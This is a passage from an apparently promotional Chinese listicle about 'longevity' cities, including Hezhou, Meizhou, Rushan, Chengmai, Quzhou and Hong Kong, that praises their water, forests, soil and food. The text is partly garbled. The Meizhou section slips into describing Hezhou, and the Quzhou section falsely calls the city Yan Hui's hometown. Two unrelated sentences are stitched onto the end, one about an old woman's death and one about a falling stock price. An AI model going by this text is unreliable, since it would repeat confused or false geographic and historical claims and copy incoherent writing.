而自豪据统计该地区的饮用水水源水质达标率高达100%居民们可以完全放心饮用当地的自来水无需担心水质安全问题这一成就得益于当地政府和居民的共同努力以及对水资源的科学管理和保护在城市规划和建设方面贺州也同样取得了令人瞩目的成就据数据显示贺州在全广西范围内排名第三拥有着令人羡慕的人均公园绿地面积贺州的居民们在城市中就能够享受到大片的绿地和公园此外贺州还以其拥有华南地区最大的天然氧吧而著称这片天然氧吧不仅拥有着清新的空气和优美的自然风光更是成千上万游客和居民们放松身心、呼吸清新空气的理想去处05、梅州——文化荟萃的生态城市梅州位于广东省东北部是一座以梅江而得名的历史文化名城梅州的自然环境优美山清水秀夏长冬短光照充足雨量充沛梅州有着自己完美的生态链条首先梅州的森林覆盖率达到74.54%这一数字足以表明该地区对于生态保护的重视和努力森林覆盖率高达如此之高不仅为当地居民提供了清新的空气还为野生动植物提供了宝贵的栖息地保护了生态平衡此外梅州的山泉水清澈见底源源不断地涌出清凉爽爽如同大自然赐予的一份珍贵礼物这些水源不仅滋润着土地也为人们提供了健康的饮用水成为了当地人民的生命之源在贺州人们可以尽情享受这清澈的山泉水所带来的清新和纯净感受到大自然的恩赐和馈赠除了水资源梅州的土壤也是其独特之处这里的土地肥沃富含丰富的硒元素被誉为富硒之乡硒是一种对人体健康有益的微量元素而梅州的土壤中的硒含量居高不下使得当地的农产物富含硒元素具有很高的营养价值这里的农产物如稻谷、茶叶、水果等不仅味美可口更是对人体健康的一种保障梅州的土地为人们提供了丰富的食物资源滋养着人们的身体和心灵04、威海乳山——物产丰富的长寿之乡威海的海滨风光被誉为天下第一滩其优美的海岸线和清澈的海水吸引着无数游客前来感受大自然的魅力乳山是威海市下辖的一个县级市以其丰富的牡蛎资源而闻名于世乳山的牡蛎产量居全国前列而且其品质也是一流的在全国范围内享有盛誉每年大量的乳山牡蛎被运往各地成为人们餐桌上的美味佳肴乳山牡蛎以其鲜美的味道和丰富的营养价值而备受推崇成为了威海市的一张名片这里还种植着各种各样的水果如苹果、樱桃、桃子等它们都以其口感鲜美和营养丰富而备受青睐随着旅游业的兴起威海的餐饮业迅速发展各种特色餐馆、农家乐等不断涌现为游客提供了丰富多样的美食选择这些餐馆以当地特色美食为主打传承和发扬了胶东的饮食文化让更多的人能够品尝到正宗的威海美食感受这座小城的独特魅力03、澄迈——宜居宜游的海滨城市澄迈位于海南岛中部是一座风景秀丽、气候宜人的热带滨海城市这里的气候温和湿润空气清新这种宜人的气候条件为当地居民提供了良好的生活环境在这里不仅可以养身更能滋养心灵澄迈的自然环境和丰富的文化资源为人们提供了丰富的休闲和旅游资源人们可以在这里享受大自然的馈赠体验海边独有的风情感受不同文化的魅力放松心情远离喧嚣澄迈这片被誉为现代人的续命仙丹的地方以其独特的自然风光和丰富的文化底蕴吸引着越来越多的人们前来探寻感受大自然的魅力感受生活的美好02、衢州——有山有水的人文古城衢州坐落于浙江省西部是一座历史悠久的城市其得天独厚的地理位置为其提供了丰富的自然资源和宜人的气候条件这些都为当地的居民提供了一个健康的生活环境衢州古老的民俗风情在这里得以传承和弘扬传统文化和民俗风情也为当地居民提供了精神慰藉和情感滋养有助于增进身心健康延年益寿衢州的自然环境以青山绿水著称山清水秀风景如画无论是峰峦叠嶂的山峦还是蜿蜒流淌的河流都展现出大自然的宏伟壮丽这里的山川河流不仅美不胜收还蕴含着丰富的生态资源成为众多游客向往的旅游胜地然而衢州的魅力远不止于此作为南孔圣地衢州承载着深厚的传统文化和儒学精神这里是孔子的弟子颜回的故乡也是中国南方的儒学重镇之一在这片土地上儒家文化得到了充分的传承和发扬成为了这座城市独特的精神标识衢州的文化底蕴不仅源远流长还蕴含着丰富的哲学思想和人文精神当地人注重礼仪和道德形成了独特的文化氛围和价值观念衢州人民豁达开朗是这座城市的又一道靓丽风景线前来衢州一游不仅可以领略其秀美的自然景观还可以感受其深厚的传统文化和豁达开朗的人文精神收获一次身心灵的洗礼和升华01、香港——美食者的天堂民以食为天这句话在香港人的身上体现得淋漓尽致饮食在香港文化中占据着重要的地位人们注重饮食的品质和多样性因此香港被誉为美食天堂由于香港人对饮食的热爱和对健康的重视使得他们拥有较长的寿命长期以来香港一直以其高寿命水平而闻名这与人们良好的饮食习惯和医疗条件有着密切的关系无论是在高级餐厅还是街边小吃摊香港都能让人们享受到美味的饮食体验香港的美食文化也受到了不同文化的影响形成了独特的香港菜系如港式茶餐厅的奶茶、菠萝包、港式烧味等都成为香港饮食文化中的代表之一香港的饮食文化不仅丰富多彩还体现了人们对美食和健康的追求香港的饮食环境也非常优越各种餐厅和食肆都严格遵守卫生标准确保食品的安全和卫生此外香港的医疗条件也十分优越人们可以及时获得专业的医疗服务和健康咨询这有助于保障人们的健康和长寿小结分析这9个长寿的地方他们都有着优美的自然环境、清新的空气、优质的水源和丰富的自然资源以及丰富多样的文化传统和民俗风情这些都对居民的健康和长寿起到了积极的作用这些城市的政府和居民一直致力于改善生活环境促进健康长寿为其他城市提供了可资借鉴的经验和启示希望更多的城市能够重视生活环境的改善为居民提供良好的生活条件共同打造健康长寿的社会环境
这位长寿的老人,这个幸福的女子,终于走完了她饱经风霜却充满幸福与甜蜜的一生。股价跌到均线,但没有获得支撑,一路下跌。